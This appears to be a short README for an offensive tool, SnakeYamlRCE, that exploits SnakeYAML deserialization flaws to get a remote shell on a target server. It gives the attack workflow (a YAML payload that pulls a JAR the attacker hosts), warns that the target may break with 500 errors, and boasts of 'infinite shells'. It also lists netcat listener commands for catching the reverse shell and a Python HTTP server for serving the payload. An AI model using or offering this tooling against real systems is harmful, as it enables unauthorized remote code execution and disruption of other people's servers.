Use SnakeYamlRCE
mainExploits SnakeYaml vulnerabilities.
Workflow: SnakeYamlYml.yml -> SnakeYaml.jar -> getshell.
Setup:
- The default listening port is
9950. - The port entered in the tool is the port hosting the service.
- Note: This exploit sends a payload to the target server. The target's environment may show a
500error after testing; the server must be restarted to restore normal operation. - To avoid collision with existing JAR files on the target, the tool uses an incrementing naming scheme for the generated JAR files to enable 'infinite shells'.
Execution Example:
# On your VPS (Mac)
nc -lvk 9950
# On your VPS (Linux)
nc -lvp 9950
# Start Python server
python -m http.server 80